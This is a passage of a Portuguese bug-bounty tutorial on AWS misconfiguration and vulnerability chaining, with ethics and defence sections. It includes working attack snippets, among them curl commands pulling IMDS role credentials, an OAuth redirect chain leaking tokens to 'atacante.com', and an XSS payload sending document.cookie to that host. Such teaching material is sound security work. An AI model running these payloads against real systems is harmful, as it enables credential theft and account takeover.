Isso devolve o **nome da role** (ex.: `ec2-app-role`). Aí você pede as credenciais dela:

```
GET /latest/meta-data/iam/security-credentials/ec2-app-role HTTP/1.1
Host: 169.254.169.254
```

Resposta (estrutura confirmada na doc oficial de IAM roles for EC2):

```
{
  "Code": "Success",
  "AccessKeyId": "ASIA...EXAMPLE",
  "SecretAccessKey": "...EXAMPLE...",
  "Token": "IQoJb3JpZ2lu...EXAMPLE...",
  "Expiration": "2026-05-31T18:00:00Z"
}
```

Note o `ASIA` e o `Token` (= `SessionToken`): são credenciais temporárias. No bug bounty, mostrar que você **conseguiu obtê-las via SSRF** já é a prova — não saia usando.

Quando o SSRF é num cabeçalho `Host` /URL controlada, a requisição da aplicação fica tipo:

```
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
```

3.3 IMDSv2 — por que ele mata o ataque

> **IMDSv2:** versão "session-oriented": antes de ler qualquer coisa, você faz um **PUT** pra pegar um token e depois manda esse token num header em cada GET.

O fluxo correto (confirmado na doc oficial do IMDS):

```
# Passo 1 — PUT pra obter o token de sessão (TTL máx. 6h = 21600s)
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`

# Passo 2 — usar o token no header de CADA GET
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

Três detalhes técnicos explicam por que isso **derruba a maioria dos SSRF** (todos da doc oficial AWS):

1. **Exige um PUT primeiro.** A maioria dos SSRF só consegue disparar `GET` — não dá pra fazer o PUT inicial.
2. **Exige um header customizado** (`X-aws-ec2-metadata-token`) no GET seguinte. Muitos SSRF não deixam você setar headers arbitrários na requisição forjada.
3. **Hop limit = 1 por padrão.** A resposta do PUT tem TTL de rede `1` no nível do IP — ela não "atravessa" um proxy reverso ou container intermediário. Além disso, **PUTs com header `X-Forwarded-For` são rejeitados**, fechando a porta pros SSRF que passam por proxies.

Por isso a defesa #1 é **exigir IMDSv2** (`HttpTokens: required`). Em alvos modernos você vai bater no IMDSv2; reporte a falha de SSRF em si e teste se a metadata ainda é alcançável — às vezes a instância ainda aceita v1 por compatibilidade.

> **Paralelo GCP/Azure:** o conceito de metadata interno é o mesmo. No GCP/Azure o endpoint é `http://169.254.169.254/` ou `http://metadata.google.internal/` e **exige o header `Metadata-Flavor: Google`** (GCP) / `Metadata: true` (Azure) — um detalhe que, como o token do IMDSv2, bloqueia SSRF que não setam headers.

4. Takeover de recurso cloud (S3/CloudFront)

Esse é primo direto do Subdomain Takeover, então vou resumir aqui e mandar você pra lá pra fundo.

> **Subdomain takeover:** quando um DNS (ex.: `staging-assets.alvo.com`) aponta pra um recurso cloud que **não existe mais** — e você recria esse recurso, passando a controlar o que é servido naquele subdomínio.

O caso clássico em S3: `staging-assets.alvo.com` é um CNAME pra um bucket que foi deletado. Ao acessar, a AWS responde com um XML de erro `NoSuchBucket` ("The specified bucket does not exist"). Esse erro é a **assinatura** do takeover possível: você cria um bucket S3 com **exatamente aquele nome**, sobe um `test.html` inofensivo, e ele passa a ser servido pelo subdomínio legítimo do alvo. Daí dá pra fazer phishing, defacement ou XSS "de subdomínio". Com **CloudFront**, a lógica é parecida (distribuição/origem órfã).

> **PoC mínima e ética:** suba **só** uma página estática neutra (ex.: o texto "PoC autorizada") pra comprovar o controle. Nada de coletar credenciais de visitantes ou hospedar conteúdo malicioso real. E saiba: alguns programas classificam takeover de staging como **informativo** — confira o escopo.

5. Outros vetores (visão geral)

Snapshots EBS públicos

> **EBS:** os "discos" (volumes) das máquinas EC2. Um **snapshot** é uma foto do disco — que pode acidentalmente ser marcada como **pública**.

Snapshots públicos podem conter o disco inteiro de um servidor (código, configs, credenciais). Com uma chave válida da conta, dá pra listar os públicos:

```
aws ec2 describe-snapshots --restorable-by-user-ids all --region us-east-1 \
  --filters "Name=description,Values=*alvo*"
```

(A flag certa é `--restorable-by-user-ids all`: lista os snapshots que **qualquer** conta pode restaurar, ou seja, os **públicos**. Cuidado: `--owner-ids` só aceita IDs de conta, `self` ou `amazon` — **não** existe `--owner-ids all`; pra restringir a um dono específico, some `--owner-ids <ID-da-conta>`. Confirmado na doc da CLI e no Hacking the Cloud.) Em bug bounty: confirme a existência/exposição; **não** monte o disco pra ler dado real de produção.

Lambda / API Gateway expostos

> **Lambda:** funções que rodam "sem servidor" (você sobe só o código). **API Gateway:** o front que expõe essas funções como endpoints HTTP.

Endpoints `*.execute-api.<região>.amazonaws.com` ou URLs de função Lambda às vezes ficam abertos sem autenticação, ou refletem parâmetros de forma insegura — caçáveis com a metodologia de API Security: enumerar stages (`/dev` , `/prod`), métodos, e testar autorização.

Cognito mal configurado (atributo de usuário auto-editável)

> **Amazon Cognito:** o serviço de "login pronto" da AWS — gerencia cadastro, autenticação e atributos (e-mail, telefone, nome) dos usuários da aplicação. Quando o front fala direto com o Cognito, o navegador carrega um **access token** do usuário logado.

O erro clássico aqui é a app deixar o usuário **editar atributos sensíveis dele mesmo** direto na API do Cognito, sem validação no backend. A ação `cognito-idp update-user-attributes` exige **só o access token do próprio usuário** (escopo `aws.cognito.signin.user.admin`) — então, se você consegue esse token (ele costuma estar no `localStorage` /numa request da app), dá pra trocar o seu e-mail por **um endereço que já pertence a outra conta**, ou setar um valor arbitrário:

```
# Pega o access-token do usuário logado (no DevTools: localStorage / request da app)
# e troca o atributo de e-mail. NÃO precisa de chave AKIA — é o token do próprio usuário.
aws cognito-idp update-user-attributes \
  --region us-east-1 \
  --access-token <ACCESS_TOKEN_DA_SUA_CONTA> \
  --user-attributes 'Name=email,Value=email-ja-existente@exemplo.com'
```

> **`--no-verify-ssl` :** em alvos atrás de proxy de inspeção (Burp), você verá esse flag em PoCs pra ignorar erro de certificado. **Não** é parte da falha — é só pra a CLI conversar pelo proxy. Em uso normal, omita.

Dois impactos reais já vistos nesse padrão (anonimizados):

1. **DoS / sequestro de conta:** ao apontar seu e-mail pro endereço da vítima, você "ocupa" aquele e-mail na base do Cognito. A vítima deixa de receber e-mail de **reset de senha**/verificação (a entrega quebra ou vai pra conta errada), inutilizando a recuperação dela. Segundo a doc da AWS, trocar o e-mail por `update-user-attributes` marca `email_verified` como **não verificado** e dispara um código — mas o **estrago no cadastro já aconteceu**.
2. **MFA / login confusion:** com dois cadastros colidindo no mesmo e-mail, o fluxo de MFA e de login fica ambíguo.

Pontuação típica: **Médio a Crítico** conforme o que dá pra fazer — DoS de conta isolado tende a **Médio**; quando vira sequestro efetivo (a vítima perde acesso e você assume), sobe. Use o `UI:N` / `PR:L` (você precisa de uma conta logada): algo como **CVSS v3.1** `6.5` **/ Médio**

(`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`) pro caso de DoS por alteração de atributo, calibrando pra cima se demonstrar takeover. (Comportamento confirmado na doc do Cognito — UpdateUserAttributes e na doc de atributos de usuário; cruza com Account Takeover.)

> **Linha ética:** prove com **suas próprias contas de teste** (Conta A e Conta B que você criou). Nunca aponte um atributo pro e-mail real de um terceiro — isso indisponibiliza a conta de uma pessoa real.

Escalada de privilégio no IAM (visão geral)

Quando você (legitimamente, num pentest/lab) tem credenciais de baixo privilégio, certas combinações de permissões IAM permitem **virar admin**. Exemplos clássicos: `iam:CreatePolicyVersion` (criar uma nova versão de policy dando tudo a si mesmo), `iam:PassRole` + `lambda:CreateFunction` (rodar código vestindo uma role mais poderosa), `iam:CreateAccessKey` em outro usuário. São dezenas de caminhos — o Pacu tem módulos que mapeiam isso automaticamente, e a Rhino Security Labs documentou 21 métodos de privesc no IAM. Em bug bounty isso quase sempre está **fora de escopo** (é "usar a conta") — relevante mais pra entender o impacto e pra pentest contratado.

Caso real-fictício: chave AKIA no JS → report

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está testando `app.exemplo.com`. No recon, baixa os arquivos JS e roda o trufflehog:

```
echo "https://app.exemplo.com" | gau | grep '\.js$' | sort -u > js.txt
# baixa os JS pra uma pasta e:
trufflehog filesystem ./js-baixados --only-verified
```

Passo 1 — Achado. O trufflehog reporta um `AWS` verificado dentro de `main.a1b2c3.js`:

```
   Found verified result
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAIOSFODNN7EXAMPLE
File: ./js-baixados/main.a1b2c3.js
```

Passo 2 — Confirmar identidade (e SÓ isso).

```
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=<secret_encontrado_no_mesmo_arquivo>
```

```
export AWS_DEFAULT_REGION=us-east-1
aws sts get-caller-identity
```

```
{
  "UserId": "AIDAEXAMPLEEXAMPLE",
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/frontend-deploy"
}
```

Chave **válida**, conta `123456789012`, usuário `frontend-deploy`. **Você para aqui** — não lista buckets, não toca em nada.

O que a tela mostraria: o DevTools/editor com a linha do `main.a1b2c3.js` contendo o `AKIA…` destacada, e o terminal com o JSON do `get-caller-identity` provando que a credencial é ativa (com o `SecretAccessKey` borrado no print).

Passo 3 — Report. Título `[Sensitive Data Exposure] Chave de acesso AWS (AKIA) válida exposta em main.*.js`. Resumo focado no risco: "*qualquer pessoa consegue uma credencial programática ativa da conta AWS 123456789012; o impacto depende das permissões da chave, mas chaves de pipeline costumam ter acesso amplo a S3/ECR/deploy*". Inclua: o arquivo, a chave parcialmente mascarada (`AKIAIOSF…MPLE`), e o output do `get-caller-identity` **sem** o secret. Recomende rotação imediata. Severidade: **Alta a Crítica** conforme as permissões.

CVSS (chave válida, exposta publicamente, **antes** de demonstrar o que ela faz — ou seja, confidencialidade da própria credencial): - **CVSS v3.1:** `7.5 — Alto` · `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (rede, sem autenticação, sem interação; vaza um segredo de alto valor). - **CVSS v4.0:** `8.7 — Alto` · `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`.

Se você **comprovar** (em escopo) que a chave tem permissões de escrita/admin, o score sobe pra **Crítico** porque entram integridade e disponibilidade — pontue o que **provou**, não o teórico, e descreva o pior caso em texto. Os decimais foram conferidos na calculadora oficial do FIRST (v4.0 aqui). (Como estruturar: Como escrever um report que paga e Severidade & Triagem.)

Defesa em camadas

A correção real é na configuração da nuvem, e em camadas que se reforçam.

1. S3 — Block Public Access (a trava mestra): Ative as **quatro** opções do S3 Block Public Access, de preferência no **nível da conta inteira** (não só por bucket):

Setting	O que faz
`BlockPublicAcls`	Rejeita tentativas de aplicar ACL pública
`IgnorePublicAcls`	**Ignora** qualquer ACL pública já existente
`BlockPublicPolicy`	Rejeita bucket policy que permita acesso público

Setting	O que faz
`RestrictPublicBuckets`	Limita buckets públicos só ao dono e a serviços AWS

```
aws s3api put-public-access-block --bucket alvo-backups \
  --public-access-block-configuration \

BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=t
```

2. IAM — privilégio mínimo (*least privilege*): cada usuário/role recebe **só** as permissões que precisa, nada de `*:*`. Use roles temporárias em vez de chaves `AKIA` de longo prazo sempre que der.

3. IMDSv2 obrigatório: force `HttpTokens: required` em toda EC2 (mata a maioria dos SSRF→metadata):

```
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required --http-endpoint enabled --http-put-response-hop-limit 1
```

4. Segredos — nunca no código: use **AWS Secrets Manager** / **Parameter Store**; injete via variável de ambiente em runtime; **rotacione** credenciais periodicamente; e bote um **secret scanner no CI** (trufflehog, gitleaks) pra barrar commit de chave. Se vazou, **rotacione já** — assuma que está comprometida.

5. Auditoria contínua: rode **ScoutSuite** / **Prowler** pra mapear misconfig na sua própria conta, ligue o **CloudTrail** (auditoria) e alerte em chamadas anômalas (ex.: `GetCallerIdentity` de uma identidade que nunca fez isso).

> **O que NÃO basta:** tornar o nome do bucket "difícil de adivinhar" (segurança por obscuridade), confiar só na ACL por objeto sem o Block Public Access, deixar IMDSv1 ligado "por compatibilidade" sem revisar, ou guardar segredo em `.env` commitado no repositório.

Ferramentas + labs legais

- **AWS CLI** — a base de tudo (`s3` , `sts` , `ec2` , `iam`).
- **s3scanner** — enumerar/classificar buckets (multi-provedor).
- **trufflehog** — achar e **verificar** segredos em repos/arquivos/APKs.
- **KeyHacks** — validar chaves/tokens de dezenas de serviços.
- **ScoutSuite** — auditoria de postura (AWS/GCP/Azure), gera relatório do que está exposto.
- **Pacu** — framework de exploração AWS (pós-acesso; **só em ambiente autorizado/seu**).

- **Labs autorizados:** flaws.cloud e flaws2.cloud (o clássico pra treinar S3/IAM/metadata legalmente), CloudGoat (cenários vulneráveis "de propósito" da Rhino), AWS free tier (sua própria conta de testes).

Checklist do caçador

- [ ] Mapeei nomes de bucket prováveis (`alvo-backups`, `-assets`, `-prod`, `-dev`, `-uploads`) e os achei no JS/respostas.
- [ ] Testei **List / Read / Write** com `--no-sign-request` (e li a ACL com `get-bucket-acl`).
- [ ] No Write, subi só PoC neutra e **apaguei** depois.
- [ ] Rodei `trufflehog --only-verified` em JS, repos e APKs.
- [ ] Distingui segredo real (`AKIA`, `sk_live_`) de chave pública (`pk_live_`, `VUE_APP_*`).
- [ ] Validei chave AWS **só** com `aws sts get-caller-identity` — **nada além disso**.
- [ ] Em falha de SSRF, testei alcançar `169.254.169.254` e a metadata (IMDSv1 vs v2).
- [ ] Procurei DNS apontando pra bucket/CloudFront órfão (`NoSuchBucket`) — takeover.
- [ ] Se a app usa **Cognito**, testei editar atributo sensível (e-mail) com o **meu** access token (`update-user-attributes`) — só com contas de teste minhas.
- [ ] Conferi que o ativo cloud **está no escopo** e que a ação que fiz não cruzou a linha "usar a conta".

Pegadinhas / o que NÃO funciona

- **"Achei AKIA, vou listar tudo pra mostrar impacto."** Não. `get-caller-identity` já prova. O resto é acesso não autorizado + log no CloudTrail com seu IP.
- **`pk_live_…` / `VUE_APP_*` não são bug.** São públicas por design. Reportar isso vira "informativo"/duplicado.
- **IMDSv2 ligado ≠ SSRF inútil.** O SSRF ainda pode atingir outros alvos internos; só não pega a metadata facilmente. Reporte o SSRF mesmo assim.
- **Bucket com nome aleatório não é "seguro".** Obscuridade não é controle; se a permissão está pública, alguém acha.
- **Takeover de staging pode ser informativo.** Cheque o escopo antes de comemorar.

O que você precisa lembrar

- A nuvem é segura por padrão; o que vaza é **configuração** — bucket público, chave esquecida, permissão larga.
- **Confirmar ≠ acessar.** Em chave AWS, a linha que você não cruza é `aws sts get-caller-identity`.
- O impacto segue **sensibilidade do dado × escala × o que dá pra fazer** — um SSRF→IMDS pode valer dez buckets listáveis.

> **Dica de ouro:** no recon, todo `AKIA…` (20 chars) é uma parada obrigatória, e todo SSRF deve **sempre** apontar pra `169.254.169.254/latest/meta-data/iam/security-credentials/`. Esses dois reflexos — reconhecer a chave e mirar a metadata — separam quem "achou um info" de quem **transforma uma falha de app em comprometimento de infra** (e reporta com responsabilidade).

Nota ética

Cloud é o terreno onde "passar do ponto" deixa de ser deselegante e vira **crime / quebra de contrato**. As regras são simples e inegociáveis: só ative-se em **ativos no escopo**; **confirme** a falha com o mínimo necessário (uma página de PoC, um `get-caller-identity`, um arquivo neutro) e **pare**; **nunca exfiltre dado real**, nunca apague/sobrescreva nada legítimo, nunca pivote pra dentro da conta de terceiro. Tudo que for "explorar de verdade" (Pacu, listar recursos, montar snapshot) faça **só na sua conta ou em labs legais** como flaws.cloud e CloudGoat. Reportar bem e parar na hora certa é o que separa pesquisador de invasor.

Referências

- OWASP A05:2021 — Security Misconfiguration
- AWS — Use the Instance Metadata Service (IMDSv1/IMDSv2)
- AWS — IAM roles for EC2 / instance metadata credentials
- AWS — S3 Block Public Access
- AWS — Managing access keys (AKIA)
- AWS — STS GetCallerIdentity (sem permissão exigida)
- AWS — describe-snapshots (`--restorable-by-user-ids all` p/ snapshots públicos)
- AWS — Cognito UpdateUserAttributes (access token do próprio usuário)
- Hacking the Cloud — Using Stolen IAM Credentials e Loot Public EBS Snapshots
- HackTricks Cloud — AWS Security
- streaak/keyhacks · sa7mon/S3Scanner · trufflesecurity/trufflehog · nccgroup/ScoutSuite · RhinoSecurityLabs/pacu
- Rhino Security Labs — AWS IAM Privilege Escalation (21 métodos)
- Labs: flaws.cloud · flaws2.cloud · CloudGoat

Parte 3 — Avançado e fechamento

Saber cada classe isolada é metade do jogo. O pulo do gato é **encadear**: transformar falhas "pequenas" (um open redirect, um SSRF cego, um IDOR de leitura) em impacto crítico. Esta parte fecha o guia com o capítulo de **chaining** e uma **caçada completa de ponta a ponta** — do recon ao report — que costura na prática tudo que você viu até aqui.

Chaining de Vulnerabilidades: somando falhas 'pequenas' em algo crítico

Dois "low" que viram um "critical"

Você acha um **Open Redirect**. Manda o report. Volta: "*Informational, sem impacto direto. Obrigado.*" R$0.

Uma semana depois você percebe que aquele mesmo redirect mora **dentro do fluxo de login social** do alvo. Você o usa pra desviar o **token de autenticação** pro seu servidor. De repente o report deixou de ser "redirecionamento bobo" e virou **roubo de conta de qualquer usuário** — pago como crítico.

Não mudou a falha. Mudou a **história**. Esse é o coração do *chaining*: o que importa não é a severidade isolada de cada bug, é o **impacto da cadeia inteira**. Um caçador júnior reporta falhas avulsas; um sênior **conecta** falhas e entrega um impacto que o programa não tem como ignorar.

> **ATO (Account Takeover)**: tomada de conta — o atacante passa a controlar a conta de outro usuário (logar como ele, agir como ele). É o impacto "crítico" clássico. (Glossário)
>
> Este é um capítulo avançado. Se algum elo aqui for novidade, cada cadeia linka pro capítulo dedicado. Vale ler Severidade, impacto e triagem antes — chaining é, no fundo, engenharia de impacto.

O que é vulnerability chaining (e por que ele paga mais)

Vulnerability chaining (ou *exploit chain*) é encadear duas ou mais falhas, onde a **saída de uma vira a entrada da seguinte**, até chegar num impacto que nenhuma delas alcançaria sozinha.

> **Analogia:** uma fechadura ruim no portão dos fundos não é grande coisa. Uma janela que não trava, também não. Mas *portão ruim → quintal → janela destravada → cofre com a chave embaixo do tapete* é um assalto completo. Cada elo é "bobo"; a corrente é um arrombamento.

Por que isso multiplica o bounty e impressiona o triador:

- **O triador paga pelo impacto final, não pela classe.** Um open redirect sozinho é *Informational/Low*. O mesmo redirect como peça de um **Account Takeover** é *High/Critical*. Você não inventou impacto — você **demonstrou** o caminho até ele.

- **Tira o "não há impacto demonstrável".** O motivo nº 1 de report rejeitado é justamente esse. A cadeia entrega o impacto numa bandeja.
- **Mostra senioridade.** Qualquer scanner acha um reflected XSS. Conectar XSS → roubo de sessão → ação privilegiada mostra que você entende o sistema, não só a sintaxe do payload.

> **A regra de ouro do CVSS numa chain: pontue o RESULTADO, não as peças.** Cada elo, isolado, tem um score baixo — um open redirect dá `CVSS:3.1` ~6.1, um info disclosure de UUID, ~5.3. Some-os e você ainda tem "vários médios". O erro é reportar a **média** ou os elos separados. A cadeia inteira é **um** achado, e seu vetor descreve o **impacto final**: se o resultado é ATO de qualquer conta, o vetor é o de ATO (`C:H/I:H` ou `VC:H/VI:H` em v4.0), não o do redirect. Ao longo do capítulo, cada cadeia mostra o **v3.1 e o v4.0 do impacto final** — é assim que você justifica o "Crítico" sem inflar. O **v4.0** (FIRST, 2023) é especialmente útil aqui porque separa impacto **no sistema** (`VC/VI/VA`) de impacto **subsequente** (`SC/SI/SA`) — e chain é, por definição, dano que pula de um sistema/contexto pro outro. Calibragem fina no capítulo Severidade & Impacto.
>
> **Primitiva**: o "poder bruto" que uma falha te dá (ler um arquivo, escrever num campo, forçar uma requisição). É o tijolo com que você constrói a cadeia. Glossário

Pensa em primitivas, não em "bugs"

A virada de chave mental do chaining é parar de pensar "*que bug é esse?*" e começar a pensar "*que primitiva isso me dá?*". Uma primitiva é uma capacidade concreta. Cadeias nascem quando uma primitiva alimenta a próxima.

Falha	Primitiva que ela te dá
Open Redirect	**Desviar a navegação/um valor** da vítima pra um destino que você controla
SSRF	**Fazer requisições server-side** (de dentro da rede do alvo)
XSS	**Executar JavaScript** no contexto/origem da vítima (ler DOM, cookies, fazer requests autenticadas)
IDOR/BOLA	**Ler/escrever objeto de outro usuário**
Information Disclosure	**Vazar um valor** que você não deveria ver (ID, token, e-mail, versão)
Hardcoded secret / credencial-padrão	**Uma credencial pronta** (senha-padrão, chave, token) embutida no front/repo
CRLF Injection	**Injetar na resposta HTTP** (headers e/ou corpo)
LFI/Path Traversal	**Ler arquivos arbitrários** do servidor
Subdomain Takeover	**Servir conteúdo seu sob um host legítimo** do alvo

> **SSRF (Server-Side Request Forgery)**: você faz o **servidor** do alvo disparar uma requisição pra um endereço que você escolhe — útil pra alcançar serviços internos que você nunca acessaria de fora. (Glossário)

A pergunta-motor do chaining é simples e você repete o tempo todo:

> **"E se eu ligar o X com o Y?"** — Tenho um vazamento de UUID (X) e um IDOR que precisava justamente de um UUID válido (Y)? Liguei. Tenho um redirect (X) e um fluxo OAuth que confia no `redirect_uri` (Y)? Liguei.

Daqui pra frente, cada cadeia segue o mesmo esqueleto: **Primitiva inicial → ponte → impacto final**.

Cadeia 1 — Open Redirect → roubo de token OAuth

A clássica que abriu o capítulo. Sozinho, o open redirect quase não vale; ligado ao login social, vira ATO.

> **OAuth**: protocolo de "login com Google/Facebook/etc." e de autorização entre apps. Em vez de dar sua senha pro app, o provedor devolve um **token** pra ele. Glossário
>
> **`redirect_uri`**: o endereço pra onde o provedor OAuth manda o `code` / `token` depois que você autoriza. É **o** parâmetro que o atacante quer controlar. Glossário

Primitivas: open redirect em `app.exemplo.com` + validação fraca de `redirect_uri` no fluxo OAuth.

O passo a passo:

1. **Acho o redirect.** Em `app.exemplo.com` existe um endpoint que reflete a URL de destino sem validar o host: `https://app.exemplo.com/go?next=//atacante.com # <- sai do domínio: redirect aberto`
2. **Vejo como o `redirect_uri` é validado.** Muitos provedores fazem *prefix match*: aceitam qualquer `redirect_uri` que **comece** com o domínio confiável. Ou seja, `https://app.exemplo.com/...` passa — mesmo que dentro dele haja um redirect aberto.
3. **Monto a URL de autorização** apontando o `redirect_uri` pro **open redirect do próprio alvo**: `http GET /authorize?client_id=123&response_type=token &redirect_uri=https://app.exemplo.com/go?next=//atacante.com # <- elo da cadeia &scope=profile HTTP/2 Host: login.provedor.com` Uso `response_type=token` (fluxo *implicit*): o token volta no **fragmento** (`#access_token=...`) da URL.

4. **Engano a vítima** a clicar no link enquanto está logada no provedor. Ela autoriza (ou já autorizou antes — aí nem clica em nada), o provedor responde `302 Location: https://app.exemplo.com/go?next=//atacante.com#access_token=...`, e o `/go` **redireciona pro meu servidor levando o fragmento junto**.

   > **Por que o `#access_token` sobrevive ao redirect:** o fragmento (`#...`) nunca é enviado ao servidor — fica no browser. Mas, por **convenção dos navegadores** (comportamento do WHATWG Fetch/URL — a RFC 9110 §10.2.2 define o `Location` como *partial-URI*, mas **não exige** isso), quando o `Location` de um `3xx` **não tem fragmento próprio**, o navegador **reanexa o fragmento da URL original** ao novo destino. Como `//atacante.com` não traz fragmento, o `#access_token=...` é herdado e cai no meu domínio. É exatamente esse comportamento que faz a cadeia funcionar.

5. **Capturo o token.** Meu servidor (ou um pouco de JS lendo `location.hash` na minha página) recebe `#access_token=...`. Com ele, chamo a API do provedor **como a vítima**. Account Takeover.

Pór que funciona: o provedor validou só que o `redirect_uri` *começava* com o host confiável — e o host confiável tinha um redirect aberto. Detalhes do fluxo no capítulo de Account Takeover e do trampolim em Open Redirect.

> **Como pontuar (resultado = ATO via roubo de token):** sozinho, o open redirect é `CVSS:3.1` ~6.1 (Médio); ninguém paga crítico por ele. Mas o **impacto da chain** é tomar a conta de qualquer usuário, então você pontua o ATO: **v3.1 9.3 (Crítico)** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` · **v4.0 9.3 (Crítico)** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`. Repare: **mesmo com `UI:R`** (a vítima precisa abrir o link) já é **Crítico** — quem puxa pra 9.3 é a combinação `Scope:Changed` + `C:H/I:H` (o dano cai na conta da vítima, *outro* sistema), não a interação. Se o ataque dispara sozinho (`UI:N`), beira **10.0**. Note: o `S:C` (v3.1) e o `SC:H/SI:H` (v4.0) refletem que o dano acontece **num outro sistema** — a conta da vítima no provedor —, exatamente o que o trampolim faz.
>
> Mesmo no fluxo *authorization code*, dá pra encadear. Aqui o `code` volta na **query string** (`?code=...`), não no fragmento — então a captura é diferente: ou o open redirect repassa a query inteira pro atacante, ou um recurso externo na página de callback **vaza o `code` via header `Referer`**. De posse do `code`, o atacante o troca por token. (PortSwigger documenta as duas variantes em OAuth.)

Cadeia 2 — SSRF → cloud metadata → credenciais → escalada

A cadeia que transforma um "o servidor faz uma request estranha" em **comprometimento da infra**.

> **Cloud metadata**: um serviço interno que toda VM em nuvem expõe num IP fixo (`169.254.169.254`) com dados da instância — incluindo, às vezes, **credenciais temporárias** da role atribuída a ela. Glossário

Primitivas: SSRF (forço o servidor a fazer requests) + um endpoint de metadados que devolve credenciais + uma role com permissões generosas.

> **IMDS / IMDSv2**: o *Instance Metadata Service* — é justamente esse serviço de metadados em `169.254.169.254`. A **v2** exige pegar um token antes de ler (um freio anti-SSRF); a v1 não exigia nada. (Glossário)

O passo a passo (AWS, IMDSv2):

1. **Tenho um SSRF.** Algum recurso onde a app busca uma URL que eu controlo — importador de imagem por URL, webhook, gerador de PDF, preview de link. Confirmo com OAST/Burp Collaborator que a saída sai **de dentro** da rede do alvo.
2. **Aponto pro endpoint de metadados.** O IMDSv2 exige um **token** obtido via `PUT` antes do `GET`. Se eu controlo só a URL e não os headers, isso pode bloquear — mas muitos SSRFs permitem método/headers, ou o alvo ainda aceita IMDSv1 (sem token). Com IMDSv2: `bash # 1) pega o token de sessão (PUT com header de TTL) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # 2) usa o token pra listar a role e ler as credenciais curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # nome da role curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME_DA_ROLE`
3. **Recebo credenciais temporárias.** A resposta traz `AccessKeyId`, `SecretAccessKey` e `Token` (STS) da role da instância.
4. **Escalo — e, muitas vezes, chego a RCE.** Com a CLI da nuvem, exporto essas chaves e **assumo a identidade do servidor**: leio buckets, filas, bancos — tudo que aquela role puder tocar. Se a role for over-privileged (comum), o impacto vira *full account compromise*. E há um elo a mais que fecha em **execução de código**: se a role tem `ssm:SendCommand` (AWS Systems Manager) ou `lambda:UpdateFunctionCode` / `InvokeFunction`, você **roda comandos no host** ou injeta código numa Lambda — credenciais cloud viram **RCE** sem precisar de mais nenhuma falha de aplicação. (Mapa dos vetores cloud — S3, segredos, IMDS, escalada IAM — no capítulo Cloud / AWS Misconfiguration.)

Por que funciona: SSRF dá o poder de bater no `169.254.169.254`, que normalmente só a própria VM alcança — e esse endpoint distribui credenciais. A primitiva "request server-side" virou "credenciais de produção" — e, com a permissão IAM certa, virou **comando executado no servidor**. Aprofundamento em SSRF, na superfície cloud em Cloud / AWS Misconfiguration e no salto pra execução em RCE.

> **Como pontuar (resultado = comprometimento da infra / RCE):** o SSRF "cego" isolado costuma cair em Médio; aqui o impacto final é credenciais de produção (e, com IAM folgada, RCE), então você pontua o **comprometimento**: **v3.1 9.1–9.9** ex.: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.9, role over-privileged, exige só uma conta logada pra acionar o SSRF) · **v4.0 9.4 (Crítico)** `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`. Se o SSRF é acionável **sem autenticação** (`PR:N`), vai a **10.0**. O `SC/SI/SA:H` do v4.0 captura bem o caso: o estrago vaza da app pra **toda a conta cloud**.
>
> **IMDSv2 não é mágica.** Ele mitiga SSRFs simples (só-URL) porque exige o `PUT` +token e nega `PUT` com `X-Forwarded-For`. Mas SSRFs que controlam método/headers ainda chegam lá. A defesa de verdade é **bloquear `169.254.169.254` na saída** e **forçar IMDSv2 com hop limit 1**.

Cadeia 3 — XSS → roubo de sessão / CSRF → Account Takeover

XSS refletido isolado costuma pagar pouco (e às vezes é classificado como *Low*). Encadeado, vira controle de conta.

> **Sessão**: a credencial que mantém você "logado" entre requests — normalmente um cookie ou token. Quem rouba a sessão **vira você** sem precisar da senha. Glossário
>
> **CSRF (Cross-Site Request Forgery)**: enganar o navegador da vítima pra disparar uma ação autenticada que ela não quis (a request sai com os cookies dela). A "proteção CSRF" é um token secreto que valida que a ação partiu da página legítima. (Glossário)

Primitivas: XSS (executo JS na origem da vítima) + ausência de `HttpOnly` /proteção CSRF + um fluxo sensível (trocar e-mail/senha).

Dois caminhos, dependendo das defesas:

Caminho A — roubo de cookie (se faltar `HttpOnly`):

```
// payload do XSS armazenado/refletido
new Image().src = 'https://atacante.com/c?'+document.cookie;  // <- exfiltra a sessão
```

Pego o cookie, reuso, estou logado como a vítima.

Caminho B — o XSS *executa a ação* (mesmo com `HttpOnly`): Cookie `HttpOnly` o JS não lê — mas o JS roda **na origem da vítima**, com a sessão dela. Então não preciso roubar o cookie: eu **disparo a request privilegiada de dentro**, o que de quebra anula a proteção CSRF (a request sai do contexto legítimo):

```
// troca o e-mail da conta usando a própria sessão da vítima
fetch('/api/account/email', {
  method: 'POST',
  credentials: 'include',                 // <- vai com o cookie HttpOnly junto
  headers: {'Content-Type':'application/json',
